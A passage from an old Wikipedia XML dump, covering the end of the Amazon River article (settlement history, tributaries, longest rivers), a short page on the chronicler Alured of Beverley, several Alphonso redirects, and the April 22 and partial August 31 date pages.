Wary of foreign exploitation of the nation's resources, Brazilian governments in the 1940s set out to develop the interior, away from the seaboard where foreigners owned large tracts of land. The original architect of this expansion was President [[Getúlio Vargas]], the demand for rubber from the Allied forces in [[World War II]] providing funding for the drive.

The construction of the new capital [[Brasilia]] in the interior in [[1960]] also contributed to the opening up of the Amazon basin. A large scale colonization program saw families from north-eastern Brazil relocated to the forests, encouraged by promises of cheap land. Many settlements grew along the road from Brasilia to [[Belem]], but rainforest soil proved difficult to cultivate.

Still, long-term development plans continued. Roads were cut through the forests, and in 1970, the work on Trans-Amazon highway network began. The network's three pioneering highways were completed within ten years, connecting all the major cities of the Brazilian Amazon interior.

Cattle farming became a major impetus in [[deforestation]], with military governments in the [[1960s]] and [[1970s]] heavily subsidising the creation of large ranches. By the [[1980s]] the rate of destruction of the rainforest was dizzying, and it is estimated that over a fifth of the total area of the rainforest has now been [[clearcut]]. The preservation of the remaining forest is becoming an ever more prominent concern.

==Major tributaries==
The Amazon has over 1,000 [[Tributary | tributaries]] in total. Some of the more notable are:

{|
|
* [[Branco River|Branco]]
* [[Casiquiare canal]]
* [[Huallaga River|Huallaga]]
* [[Içá River|Içá (or Putumayo)]]
* [[Javary]]
* [[Jurua]]
* [[Madeira River|Madeira]]
* [[Marañón River|Marañón]]
* [[Morona]]
* [[Nanay]]
* [[Napo River|Napo]]
|&amp;nbsp;&amp;nbsp;||
* [[Negro River|Negro]]
* [[Pastaza River|Pastaza]]
* [[Purus]]
* [[Río Tambo|Tambo]]
* [[Tapajós]]
* [[Tigre River|Tigre]]
* [[Tocantins River|Tocantins]]
* [[Trombetas]]
* [[Ucayali]]
* [[Xingu River|Xingu]]
* [[Yapura]]
|}

==Longest rivers in the Amazon system==
# 6,387 km - [[Amazon River|Amazon]], [[South America]]
# 3,379 km - [[Purus]], [[Peru]] / [[Brazil]], (2,948 km) (3,210 km) 
# 3,239 km - [[Madeira River|Madeira]], [[Bolivia]] / [[Brazil]] 
# 2,820 km - [[Yapura]], [[Colombia]] / [[Brazil]]
# 2,750 km - [[Tocantins River|Tocantins]], [[Brazil]], (2,416 km) (2,640 km) 
# 2,575 km - [[Araguaia River|Araguaia]], [[Brazil]] (tributary of Tocantins)
# 2,410 km - [[Juruá]], [[Peru]] / [[Brazil]]
# 2,250 km - [[Negro River|Negro]], [[South America]]
# 2,100 km - [[Xingu River|Xingu]], [[Brazil]]
# 1,900 km - [[Tapajós]], [[Brazil]]
# 1,749 km - [[Guaporé]], [[Brazil]] / [[Bolivia]] (tributary of Madeira)
# 1,575 km - [[Içá River|Içá (Putumayo)]], [[South America]]
# 1,415 km - [[Marañón River|Marañón]], [[Peru]]
# 1,300 km - [[Iriri River|Iriri]], [[Brazil]] (tributary of Xingu)
# 1,240 km - [[Juruena]], [[Brazil]] (tributary of Tapajós)
# 1,200 km - [[Tapajós]], [[Brazil]]
# 1,130 km - [[Madre de Dios River|Madre de Dios]], [[Peru]] / [[Bolivia]] (tributary of Madeira)
# 1,100 km - [[Huallaga River|Huallaga]], [[Peru]] (tributary of Marañón)

==External links==
{{Commons|Amazon river}}
*[http://www.destination360.com/south-america/brazil/amazon.php Amazon River and Amazon Rainforest virtual tour]
*[http://www.extremescience.com/AmazonRiver.htm Information on the Amazon from Extreme Science]
*[http://mitosyfraudes.8k.com/photoEng-2.html Map of South America]
*[http://www.underwatercolours.com/amazon/ss07.html Pictures of the Amazon River]
*[http://www.junglephotos.com Amazon River and rainforest photos and information]
*[http://www.amazon-rainforest.org Amazon River and Amazon rainforest information]
*[http://www.mbarron.net/Amazon An Amazon River web site]
*[http://earthtrends.wri.org/maps_spatial/maps_detail_static.cfm?map_select=410&amp;theme=2 Information and a map of the Amazon's watershed]

==References==
*{{1911}}

[[Category:Rivers of Brazil]]
[[Category:Rivers of Colombia]]
[[Category:Rivers of Peru]]

[[ar:أمازون]]
[[an:Río Amazonas]]
[[bg:Амазонка]]
[[ca:Riu Amazones]]
[[cs:Amazonka]]
[[da:Amazonfloden]]
[[de:Amazonas]]
[[et:Amazonas]]
[[es:Río Amazonas]]
[[eo:Amazono (rivero)]]
[[fa:رودخانه آمازون]]
[[fr:Amazone (fleuve)]]
[[gl:Río Amazonas]]
[[ko:아마존 강]]
[[io:Amazon]]
[[id:Sungai Amazon]]
[[is:Amasónfljót]]
[[it:Rio delle Amazzoni]]
[[he:אמזונאס (נהר)]]
[[lt:Amazonė (upė)]]
[[lb:Amazonas]]
[[hu:Amazonas]]
[[nl:Amazone (rivier)]]
[[ja:アマゾン川]]
[[no:Amazonaselva]]
[[nn:Amazonaselva]]
[[pl:Amazonka (rzeka)]]
[[pt:Rio Amazonas]]
[[ro:Amazon (fluviu)]]
[[ru:Амазонка (река)]]
[[simple:Amazon River]]
[[sl:Amazonka]]
[[sr:Амазон]]
[[fi:Amazon (joki)]]
[[sv:Amazonfloden]]
[[ta:அமேசான் ஆறு]]
[[th:แม่น้ำแอมะซอน]]
[[zh:亚马逊河]]</text>
    </revision>
  </page>
  <page>
    <title>Alured of Beverley</title>
    <id>1702</id>
    <revision>
      <id>15900167</id>
      <timestamp>2005-01-06T14:00:41Z</timestamp>
      <contributor>
        <username>Stbalbach</username>
        <id>87883</id>
      </contributor>
      <text xml:space="preserve">Alredus, or '''Alfred of Beverley''', [[English historians in the Middle Ages|English chronicler]], was [[sacristan]] of the church of [[Beverley]] in the first half of the 12th century.  

He wrote, apparently about the year 1143, a [[chronicle]] entitled ''Annales sive Historia de gestis regum Britanniae'',  which begins with [[Brutus of Britain|Brutus]] and carries the history of [[England]] down to 1129.  

[[Geoffrey of Monmouth]] and [[Simeon of Durham]] are Alured's chief sources.  

----

{{1911}}

[[Category:Medieval historians]]
[[Category:Medieval literature]]</text>
    </revision>
  </page>
  <page>
    <title>Alphonso VII</title>
    <id>1703</id>
    <revision>
      <id>15900168</id>
      <timestamp>2002-12-29T07:43:22Z</timestamp>
      <contributor>
        <username>Montrealais</username>
        <id>3378</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Alfonso VII of Castile]]</text>
    </revision>
  </page>
  <page>
    <title>Alphonso VIII</title>
    <id>1704</id>
    <revision>
      <id>15900169</id>
      <timestamp>2002-12-29T07:32:56Z</timestamp>
      <contributor>
        <username>Montrealais</username>
        <id>3378</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Alfonso VIII of Castile]]</text>
    </revision>
  </page>
  <page>
    <title>Alphonso IX</title>
    <id>1705</id>
    <revision>
      <id>15900170</id>
      <timestamp>2004-08-06T23:34:23Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Alfonso IX of Leon]]</text>
    </revision>
  </page>
  <page>
    <title>Alphonso X</title>
    <id>1706</id>
    <revision>
      <id>15900171</id>
      <timestamp>2002-12-29T07:57:21Z</timestamp>
      <contributor>
        <username>Montrealais</username>
        <id>3378</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Alfonso X of Castile]]</text>
    </revision>
  </page>
  <page>
    <title>Alphonso XI</title>
    <id>1707</id>
    <revision>
      <id>15900172</id>
      <timestamp>2002-12-29T16:00:15Z</timestamp>
      <contributor>
        <username>Montrealais</username>
        <id>3378</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Alfonso XI of Castile]]</text>
    </revision>
  </page>
  <page>
    <title>Alphonso XII</title>
    <id>1708</id>
    <revision>
      <id>15900173</id>
      <timestamp>2002-12-29T16:21:51Z</timestamp>
      <contributor>
        <username>Montrealais</username>
        <id>3378</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Alfonso XII of Spain]]</text>
    </revision>
  </page>
  <page>
    <title>Alphonso XIII</title>
    <id>1709</id>
    <revision>
      <id>15900174</id>
      <timestamp>2002-12-29T16:30:43Z</timestamp>
      <contributor>
        <username>Montrealais</username>
        <id>3378</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Alfonso XIII of Spain]]</text>
    </revision>
  </page>
  <page>
    <title>April 22</title>
    <id>1710</id>
    <revision>
      <id>41602295</id>
      <timestamp>2006-02-28T12:41:47Z</timestamp>
      <contributor>
        <ip>86.131.6.251</ip>
      </contributor>
      <comment>/* Births */  rm graffito</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=22}}
|}
'''[[April 22]]''' is the 112th day of the year in the [[Gregorian calendar]] (113th in [[leap year]]s). There are 253 days remaining.
==Events==
*[[1500]] - [[Portugal|Portuguese]] navigator [[Pedro Álvares Cabral]] becomes the first European to sight [[Brazil]]. 
*[[1509]] - [[Henry VIII of England|Henry VIII]] ascends the throne of [[England]] after the death of his father. 
*[[1529]] - [[Treaty of Saragossa]] divides the eastern hemisphere between [[Spain]] and [[Portugal]] along a line 297.5 leagues or 17° east of the [[Moluccas]].
*[[1836]] - [[Texas Revolution]]: A day after the [[Battle of San Jacinto]] forces under [[Republic of Texas|Texas]] General [[Sam Houston]] capture [[Mexico|Mexican]] General [[Antonio López de Santa Anna]]. 
*[[1863]] - [[American Civil War]]: [[Grierson's Raid]] begins &amp;ndash; troops under [[United States|Union]] Colonel [[Benjamin Grierson]] attack central [[Mississippi]]. 
*[[1864]] - The [[Congress of the United States|U.S. Congress]] passes the [[Coinage Act (1864)|Coinage Act]] which mandates that the inscription &quot;In God We Trust&quot; be placed on all coins minted as [[United States currency]].
*[[1889]] - [[Oklahoma land rush]]: President [[Benjamin Harrison]] opens the [[Unassigned_Lands|Unassigned Lands]] in what is now central [[Oklahoma]] to white settlement.
*[[1898]] - [[Spanish-American War]]: The [[United States Navy]] begins a [[blockade]] of [[Cuba]]n ports and the [[USS Nashville]] captures a [[Spain|Spanish]] merchant ship. 
*[[1913]] - ''[[Pravda]],'' the &quot;voice&quot; of the [[Communist Party of the Soviet Union]], begins publications in [[Saint Petersburg]].
*[[1914]] - [[Babe Ruth]], age 19, pitches his first professional game for the minor league [[Baltimore Orioles (minor league)|Baltimore Orioles]]. 
*[[1915]] - The [[use of poison gas in World War I]] escalates when [[chlorine|chlorine gas]] is released as a [[chemical warfare|chemical weapon]] in the [[Second Battle of Ypres]]. 
*[[1930]] - The [[United Kingdom]], [[Japan]] and the [[United States]] sign the [[London Naval Treaty]] regulating [[submarine]] warfare and limiting [[shipbuilding]]. 
*[[1943]] - [[Albert Hofmann]] writes his first report about the hallucinogenic properties of [[LSD]].
*[[1944]] - [[World War II]]: [[Operation Persecution]] initiated &amp;ndash; [[Allies|Allied]] forces land in the Hollandia area of [[New Guinea]]. 
*[[1945]] - World War II: After learning that [[Soviet Union|Soviet]] forces have taken [[Eberswalde]] without a fight, [[Adolf Hitler]] admits defeat in his underground [[bunker]] and states that [[suicide]] is his only recourse.
*[[1946]] - The first installment of the popular [[Japan]]ese comic strip, ''[[Sazae-san]]'', is published in the [[Fukunichi Shimbun]].
*[[1954]] - [[Red Scare]]: [[Army-McCarthy Hearings]] begin.
*[[1964]] - The [[1964 New York World's Fair|1964-1965 New York World's Fair]] opens for its first season.
*[[1970]] - First [[Earth Day]] celebrated.
*[[1971]] - [[John Kerry]], dressed in combat fatigues, testifies on his views of the [[Vietnam War]] before the [[U.S. Senate Committee on Foreign Relations|United States Senate Foreign Relations Committee]]
*[[1972]] - [[Vietnam War]]: Increased [[United States|American]] bombing in [[Vietnam]] prompts antiwar protests in [[New York City]], [[San Francisco, California|San Francisco]], and [[Los Angeles, California|Los Angeles]].
*[[1975]] - [[Barbara Walters]] signs a five-year $5 million contract with the American Broadcasting Corporation (ABC), becoming the highest paid [[television]] newsperson. 
*[[1978]] - [[The Blues Brothers]] make their first appearance on ''[[Saturday Night Live]]''.
*[[1979]] - [[Brent Mydland]] performs his first show with the [[Grateful Dead]] at [[Spartan Stadium, San Jose|Spartan Stadium]], [[San Jose, California]].
*[[1993]] -  In [[Washington, DC]], the [[Holocaust Memorial Museum]] is dedicated. 
*  1993   - The web browser [[Mosaic (web browser)|Mosaic]] version 1.0 is released.
*[[1996]] - [[Cisco Systems]] acquires [[StrataCom]] for $4B
*[[1997]] - [[Haouch Khemisti massacre]] in [[Algeria]]; 93 villagers killed.
*  1997   - A 126-day hostage crisis at the residence of the [[Japan]]ese ambassador in [[Lima, Peru|Lima]], [[Peru]] ends after government commandos storm and capture the building, rescuing 71 hostages. One hostage dies of a [[Myocardial infarction|heart attack]], two soldiers are killed from rebel fire, and all 14 rebels are slain. 
*[[2000]] - In a predawn raid, federal agents seize six-year-old [[Elián González]] from his relatives' home in [[Miami, Florida]].
*  2000   - The [[Big Number Change]] takes place in the [[United Kingdom]].
*[[2004]] - Two fuel trains collide in [[Ryongchon]], [[North Korea]], killing up to 150 people.
*[[2005]] - [[Mordechai Vanunu]] installed as [[Lord Rector]] of the [[University of Glasgow]].

==Births==
*[[1451]] - Queen [[Isabella of Castile]] and Leon (d. [[1504]])
*[[1550]] - [[Edward de Vere]], Lord Great Chamberlain of England (d. [[1604]])
*[[1610]] - [[Pope Alexander VIII]] (d. [[1691]])
*[[1658]] - [[Giuseppe Torelli]], Italian composer (d. [[1709]])
*[[1690]] - [[John Carteret, 2nd Earl Granville]], English statesman (d. [[1763]])
*[[1692]] - [[James Stirling (mathematician)|James Stirling]], Scottish mathematician (d. [[1770]])
*[[1707]] - [[Henry Fielding]], English author (d. [[1754]])
*[[1711]] - [[Eleazar Wheelock]], American founder of Dartmouth College (d. [[1779]])
*[[1724]] - [[Immanuel Kant]], German philosopher (d. [[1804]])
*[[1766]] - [[Madame de Staël]], French author (d. [[1817]])
*[[1812]] - [[Solomon Caesar Malan]], British orientalist (d. [[1894]])
*[[1840]] - [[Odilon Redon]], French painter (d.  [[1916]])
*[[1844]] - [[Lewis Thornton Powell]], would-be [[assassin]] of [[Secretary of State]] [[William Seward]] (d. [[1865]])
*[[1852]] - [[Guillaume IV, Grand Duke of Luxembourg]] (d. [[1912]])
*[[1854]] - [[Henri La Fontaine]], Belgian lawyer and activist, recipient of the [[Nobel Peace Prize]] (d. [[1943]])
*[[1860]] - [[Ada Rehan]], American stage actress (d. [[1916]])
*[[1870]] (N.S.) - [[Vladimir Lenin]], Russian revolutionary (d. [[1924]])
*[[1873]] - [[Ellen Glasgow]], American author (d. [[1945]])
*[[1876]] - [[Robert Bárány]], American physician, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1936]])
*1876 - [[Georg Lurich]], Estonian wrestler (d. [[1920]])
*[[1881]] - [[Alexander Kerensky]], Russian politician (d. [[1970]])
*[[1884]] - [[Otto Rank]], Austrian psychologist (d. [[1939]])
*[[1891]] - [[Harold Jeffreys]], English astronomer (d. [[1989]])
*[[1899]] - [[Vladimir Nabokov]], Russian writer (d. [[1977]])
*[[1904]] - [[Robert Oppenheimer]], American physicist (d. [[1967]])
*[[1906]] - [[Eddie Albert]], American actor (d. [[2005]])
*1906 - [[Prince Gustaf Adolf, Duke of Westrobothnia]], second in line to the Swedish throne (d.  [[1946]])
*[[1907]] - [[Ivan Efremov]], Russian paleontologist and author (d. [[1972]])
*[[1909]] - [[Rita Levi-Montalcini]], Italian neurologist, recipient of the [[Nobel Prize in Physiology or Medicine]]
*[[1910]] - [[Norman Steenrod]], American mathematician (d. [[1971]])
*[[1912]] - [[Kathleen Ferrier]], British contralto (d. [[1953]])
*[[1914]] - [[Jan de Hartog]], Dutch writer (d. [[2002]])
*[[1916]] - [[Yehudi Menuhin]], American-born violinist (d. [[1999]])
*[[1918]] - [[Mickey Vernon]], baseball player
*[[1919]] - [[Donald J. Cram]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[2001]])
*[[1922]] - [[Charles Mingus]], American musician (d. [[1979]])
*1922 - [[Wolf V. Vishniac]], American microbiologist (d. [[1973]])
*[[1923]] - [[Bettie Page]], American model
*1923 - [[Aaron Spelling]], American television producer and writer
*[[1926]] - [[Charlotte Rae]], American actress
*1926 - [[James Stirling (architect)|James Stirling]], British architect (d. [[1992]])
*[[1935]] - [[Paul Chambers]], American jazz bassist (d. [[1969]])
*[[1936]] - [[Glen Campbell]], American musician
*[[1937]] - [[Jack Nicholson]], American actor
*1937 - [[Jack Nitzsche]], American composer and arranger (d. [[2000]])
*[[1939]] - [[Jason Miller (actor)|Jason Miller]], American actor (d. [[2001]])
*[[1943]] - [[Louise Glück]], American poet
*[[1944]] - [[Steve Fossett]], American adventurer
*[[1946]] - [[John Waters (filmmaker)|John Waters]], American film writer and director
*[[1950]] - [[Peter Frampton]], British musician
*[[1952]] - [[Marilyn Chambers]], American actress
*[[1958]] - [[Ken Olandt]], American actor
*[[1959]] - [[Catherine Mary Stewart]], Canadian actress
*1959 - [[Ryan Stiles]], Canadian-born actor and comedian
*[[1962]] - [[Jeff Minter]], British video game programmer
*[[1965]] - [[Peter Zezel]], Canadian ice hockey player
*[[1967]] - [[Sheryl Lee]], American actress
*[[1968]] - [[Zarley Zalapski]], Canadian ice hockey player
*[[1970]] - [[Andrea Giani]], Italian volleyball player
*[[1972]] - [[Owen Finegan]], Australian International Rugby Union
*[[1974]] - [[Shavo Odadjian]], Armenian-born bassist ([[System of a Down]])
*[[1975]] - [[Greg Moore (race car driver)|Greg Moore]], Canadian race car driver (d. [[1999]])
*[[1977]] - [[Andruw Jones]], baseball player
*[[1979]] - [[Daniel Johns]], lead singer of Australian band [[Silverchair]]
*[[1981]] - [[Ken Dorsey]], American football player
*[[1982]] - [[Kaká]], Brazilian footballer
*[[1983]] - [[Matt Jones]], American football player

==Deaths==
*[[296]] - [[Pope Caius]]
*[[536]] - [[Pope Agapetus I]]
*[[1592]] - [[Bartolomeo Ammanati]], Italian architect and sculptor (b. [[1511]])
*[[1672]] - [[Georg Stiernhielm]], Swedish poet (b. [[1598]])
*[[1699]] - [[Hans Erasmus Aßmann, Freiherr von Abschatz]], German statesman and poet (b. [[1646]])
*[[1758]] - [[Antoine de Jussieu]], French naturalist (b. [[1686]])
*[[1778]] - [[James Hargreaves]], English weaver, carpenter, and inventor (b. [[1720]])
*[[1806]] - [[Pierre-Charles Villeneuve]], French admiral (stabbed) (b. [[1763]])
*[[1833]] - [[Richard Trevithick]], English inventor (b. [[1771]])
*[[1892]] - [[Edouard Lalo]], French composer (b. [[1823]])
*[[1896]] - [[Thomas Meik]], British civil engineer (b. [[1812]])
*[[1908]] - [[Henry Campbell-Bannerman]], [[Prime Minister of the United Kingdom]] (b. [[1836]])
*[[1925]] - [[André Caplet]], French composer (b. [[1878]])
*[[1930]] - [[Jeppe Aakjaer]], Danish poet and novelist {b. [[1866]])
*[[1945]] - [[Käthe Kollwitz]], German artist (b. [[1867]])
*[[1946]] - [[Harlan Fiske Stone|Harlan F. Stone]], [[Chief Justice of the United States Supreme Court]] (b. [[1872]])
*[[1951]] - [[Horace Donisthorpe]], British entomologist (b. [[1870]])
*[[1968]] - [[Stephen H. Sholes]], American recording executive (b. [[1911]])
*[[1978]] - [[Will Geer]], American actor and activist (b. [[1902]])
*[[1980]] - [[Jane Froman]], American actor and singer (b. [[1907]])
*1980 - [[Fritz Strassmann]], German physicist (b. [[1902]])
*[[1983]] - [[Earl Hines|Earl &quot;Fatha&quot; Hines]], British jazz pianist (b. [[1903]])
*[[1984]] - [[Ansel Adams]], American photographer (b. [[1902]])
*[[1985]] - [[Paul H. Emmett]], American chemical engineer (b. [[1900]])
*[[1986]] - [[Mircea Eliade]], Romanian writer and philosopher (b. [[1907]])
*[[1994]] - [[Richard Nixon]], [[President of the United States]] (b. [[1913]])
*[[1995]] - [[Maggie Kuhn]], American activist (b. [[1905]])
*[[1996]] - [[Erma Bombeck]], American humorist and writer (b. [[1927]])
*[[2002]] - [[Linda Lovelace]], American actress (b. [[1949]])
*[[2003]] - [[Martha Griffiths]], U.S. Congresswoman (b. [[1912]])
*  2003 - [[Michael Larrabee]], American athlete (b. [[1933]])
*[[2004]] - [[Pat Tillman]], American  football player and U.S. Army Ranger (killed in action) (b. [[1976]])
*[[2005]] - [[Philip Morrison]], American physicist (b. [[1915]])

==Holidays and observances==
*[[Earth Day]]
*[[Brazil]] - [[Discovery Day]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/22 BBC: On This Day]

----

[[April 21]] - [[April 23]] - [[March 22]] - [[May 22]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[ceb:Abril 22]]
[[nap:22 'e abbrile]]
[[war:Abril 22]]
[[pam:Abril 22]]

[[af:22 April]]
[[ar:22 أبريل]]
[[an:22 d'abril]]
[[ast:22 d'abril]]
[[bg:22 април]]
[[be:22 красавіка]]
[[bs:22. april]]
[[ca:22 d'abril]]
[[cv:Ака, 22]]
[[co:22 d'aprile]]
[[cs:22. duben]]
[[cy:22 Ebrill]]
[[da:22. april]]
[[de:22. April]]
[[et:22. aprill]]
[[el:22 Απριλίου]]
[[es:22 de abril]]
[[eo:22-a de aprilo]]
[[eu:Apirilaren 22]]
[[fo:22. apríl]]
[[fr:22 avril]]
[[fy:22 april]]
[[ga:22 Aibreán]]
[[gl:22 de abril]]
[[ko:4월 22일]]
[[hr:22. travnja]]
[[io:22 di aprilo]]
[[id:22 April]]
[[ia:22 de april]]
[[ie:22 april]]
[[is:22. apríl]]
[[it:22 aprile]]
[[he:22 באפריל]]
[[jv:22 April]]
[[kn:ಎಪ್ರಿಲ್ ೨೨]]
[[ka:22 აპრილი]]
[[csb:22 łżëkwiôta]]
[[ku:22'ê avrêlê]]
[[la:22 Aprilis]]
[[lt:Balandžio 22]]
[[lb:22. Abrëll]]
[[li:22 april]]
[[hu:Április 22]]
[[mk:22 април]]
[[ms:22 April]]
[[nl:22 april]]
[[ja:4月22日]]
[[no:22. april]]
[[nn:22. april]]
[[oc:22 d'abril]]
[[pl:22 kwietnia]]
[[pt:22 de Abril]]
[[ro:22 aprilie]]
[[ru:22 апреля]]
[[se:Cuoŋománu 22.]]
[[sq:22 Prill]]
[[scn:22 di aprili]]
[[simple:April 22]]
[[sk:22. apríl]]
[[sl:22. april]]
[[sr:22. април]]
[[fi:22. huhtikuuta]]
[[sv:22 april]]
[[tl:Abril 22]]
[[tt:22. Äpril]]
[[te:ఏప్రిల్ 22]]
[[th:22 เมษายน]]
[[vi:22 tháng 4]]
[[tr:22 Nisan]]
[[uk:22 квітня]]
[[ur:22 اپریل]]
[[wa:22 d' avri]]
[[zh:4月22日]]</text>
    </revision>
  </page>
  <page>
    <title>August 31</title>
    <id>1711</id>
    <revision>
      <id>41781229</id>
      <timestamp>2006-03-01T18:30:55Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <minor />
      <comment>/* Deaths */ same event</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=31}}
|}
'''[[August 31]]''' is the 243rd day of the year in the [[Gregorian calendar]] (244th in leap years), with 122 days remaining.

==Events==
*[[1056]] - [[List of Byzantine Emperors|Byzantine Empress]] [[Theodora (11th century)|Theodora]] dies suddenly without children to succeed the [[throne]], ending the [[Macedonian dynasty]]
*[[1864]] - [[American Civil War]]: [[United States|Union]] forces led by General [[William T. Sherman]] launch an assault on [[Atlanta, Georgia]]. 
*[[1876]] - [[Ottoman sultan]] [[Murat V]] is deposed and succeeded by his brother [[Abd-ul-Hamid II]].
*[[1886]] - [[Charleston earthquake | Earthquake]] kills 100 in [[Charleston, South Carolina]]
*[[1888]] - Mary Ann Nicholls is murdered.  She is perhaps the first of [[Jack the Ripper]]'s victims
*[[1895]] - John Brallier is paid [[US$]]10 plus expenses to play football for the [[Latrobe, Pennsylvania]] YMCA, making him the first professional [[American football|football]] player.
*[[1897]] - [[Thomas Edison]] patents the [[Kinetoscope]], the first movie projector.
*[[1907]] - [[England]], [[Russia]] and [[France]] form the [[Triple Entente]] [[military alliance|alliance]].
*[[1914]] - [[Ecuador]] becomes a signatory to the [[Buenos Aires Convention|Buenos Aires]] [[copyright]] [[treaty]].
*[[1915]] - [[Brazil]] becomes a signatory to the [[Buenos Aires Convention|Buenos Aires]] [[copyright]] [[treaty]].
*[[1920]] - [[Polish-Bolshevik War]]: A decisive Polish victory in the [[Battle of Komarów]].
*1920 - First [[news radio]] program broadcast in [[Detroit, Michigan|Detroit]], [[Michigan]].
*[[1939]] - [[Nazi Germany]] mounts a staged [[Gleiwitz incident|attack on Gleiwitz radio station]], giving them an excuse to attack [[Poland]] the following day, starting [[European Theatre of World War II|World War II in Europe]].
*[[1943]] - The [[USS Harmon (DE-678)|USS ''Harmon'']], the first [[United States Navy|U.S. Navy]] ship to be named for a black person, is commissioned.
*[[1945]] - The [[Liberal Party of Australia]] is founded by [[Robert Menzies]].
*[[1957]] - The [[Federation of Malaya]] gains its independence from the [[United Kingdom]].
*[[1962]] - [[Trinidad and Tobago]] become independent.
*[[1965]] - The [[Aero Spacelines Super Guppy]] [[Aircraft]] makes its first flight.
*[[1978]] - [[William Harris (terrorist)|William]] and [[Emily Harris]], founders of the [[Symbionese Liberation Army]], plead guilty to the [[1974]] kidnapping of newspaper heiress [[Patricia Hearst]].
*[[1980]] - The [[Solidarity]] [[trade union]] is formed in Poland.
*[[1985]] - [[Richard Ramirez]], the &quot;Night Stalker&quot; [[serial killer]], is arrested in [[Los Angeles, California|Los Angeles]], [[California]].
*[[1986]] - An [[Aeroméxico]] [[Douglas DC-9]] collides with a [[Piper Cherokee|Piper PA-28]] over [[Cerritos, California|Cerritos]], [[California]], killing 67 in the air and 15 on the ground.
*1986 - The [[Soviet Union|Soviet]] passenger liner ''[[Admiral Nakhimov (ship)|Admiral Nakhimov]]'' sinks in the Black Sea after colliding with the bulk carrier ''Pyotr Vasev'', killing 398. 
*[[1989]] - [[Buckingham Palace]] officials confirm that [[Anne, Princess Royal|Princess Anne]] and [[Captain]] [[Mark Phillips]] are separating.
*[[1991]] - [[Kyrgyzstan]] declares its independence from the [[Soviet Union]].
*[[1992]] - [[Pascal Lissouba]] is inaugurated as the [[Republic of the Congo|President]] of the [[Republic of the Congo]] after a [[Republic of the Congo presidential election, 1992|multiparty presidential election]], ending a long history of one-party oppressive rule under the [[Congolese Workers Party]].
*[[1994]] - The [[Provisional Irish Republican Army]] declares a [[ceasefire]].
*[[1997]] - [[Diana, Princess of Wales|Diana]], [[Prince of Wales|Princess of Wales]], dies in a [[Car accident|car crash]] in [[Paris]].
*[[1998]] - [[North Korea]] reportedly launchs ''[[Kwangmyongsong]]'', its first [[artificial satellite|satellite]]. 
*[[1999]] - The first of a series of [[Russian Apartment Bombings]] in [[Moscow]], killing one person and wounding 40 others.
*[[2004]] - [[Mel Gibson]]'s film ''[[The Passion of the Christ]]'' is released on [[DVD]] and [[VHS]] in stores across the [[United States]], selling approximately 4.1 million copies by the end of the day.
*[[2005]] - A [[Baghdad bridge stampede|stampede]] on [[Al-Aaimmah bridge]] in [[Baghdad]] kills 1,199 people.

==Births==
*[[12]] - Gaius [[Caligula]], [[Roman Emperor]] (d. [[41]])
*[[161]] - [[Commodus]], [[Roman Emperor]] (d. [[192]])
*[[1569]] - [[Jahangir]], Mughal Emperor of India (d. [[1627]])
*[[1663]] - [[Guillaume Amontons]], French physicist and instrument maker (d. [[1705]])
*[[1721]] - [[George Hervey, 2nd Earl of Bristol]], British statesman (d. [[1775]])
*[[1811]] - [[Theophile Gautier]], French poet and novelist  (d. [[1872]])
*[[1821]] - [[Hermann von Helmholtz]], German physician (d. [[1894]])
*[[1834]] - [[Amilcare Ponchielli]], Italian composer (d. [[1886]])
*[[1870]] - [[Maria Montessori]], Italian educator (d. [[1952]])
*[[1878]] - [[Frank Jarvis]], American athlete (d. [[1933]])
*[[1879]] - [[Alma Mahler]], wife of [[Gustav Mahler]], [[Walter Gropius]], and [[Franz Werfel]] (d. [[1964]])
*[[1880]] - Queen [[Wilhelmina I of the Netherlands]] (d. [[1962]])
*[[1885]] - [[DuBose Heyward]], American playwright (d. [[1940]])
*[[1897]] - [[Fredric March]], American actor (d. [[1975]])
*[[1903]] - [[Arthur Godfrey]], American television host (d. [[1983]])
*[[1907]] - [[Ramon Magsaysay]], [[President of the Philippines]] (d. [[1957]])
*1907 - [[William Shawn]], American editor (d. [[1992]])
*[[1908]] - [[William Saroyan]], American novelist and playwright (d. [[1981]])
*[[1913]] - Sir [[Bernard Lovell]], British radio astronomer
*[[1914]] - [[Richard Basehart]], American actor (d. [[1984]])
*[[1916]] - [[Daniel Schorr]], American journalist
*[[1918]] - [[Alan Jay Lerner]], American composer (d. [[1986]])
*[[1924]] - [[Buddy Hackett]], American actor and comedian (d. [[2003]])
*[[1928]] - [[James Coburn]], American actor (d. [[2002]])
*[[1931]] - [[Noble Willingham]], American actor (d. [[2004]])
*[[1935]] - [[Frank Robinson]], baseball player and manager
*1935 - [[Eldridge Cleaver]], American political activist (d. [[1998]])
*[[1938]] - [[Martin Bell]], British journalist and politician
*[[1945]] - [[Van Morrison]], Irish musician
*1945 - [[Itzhak Perlman]], Israeli violinist
*[[1948]] - [[Lowell Ganz]], American screenwriter
*1948 - [[Rudolf Schenker]], German guitarist ([[Scorpions (band)|Scorpions]])
*[[1949]] - [[Richard Gere]], American actor
*1949 - [[H. David Politzer]], American physicist, [[Nobel Prize]] laureate
*[[1953]] - [[György Károly]], Hungarian author
*[[1956]] - [[Masashi Tashiro]], Japanese television performer
*[[1958]] - [[Edwin Moses]], American athlete
*[[1961]] - [[Anri]], [[J-pop|Japanese Singer]]
*[[1968]] - [[Todd Carty]], British actor
*[[1970]] - [[Deborah Gibson]], American singer
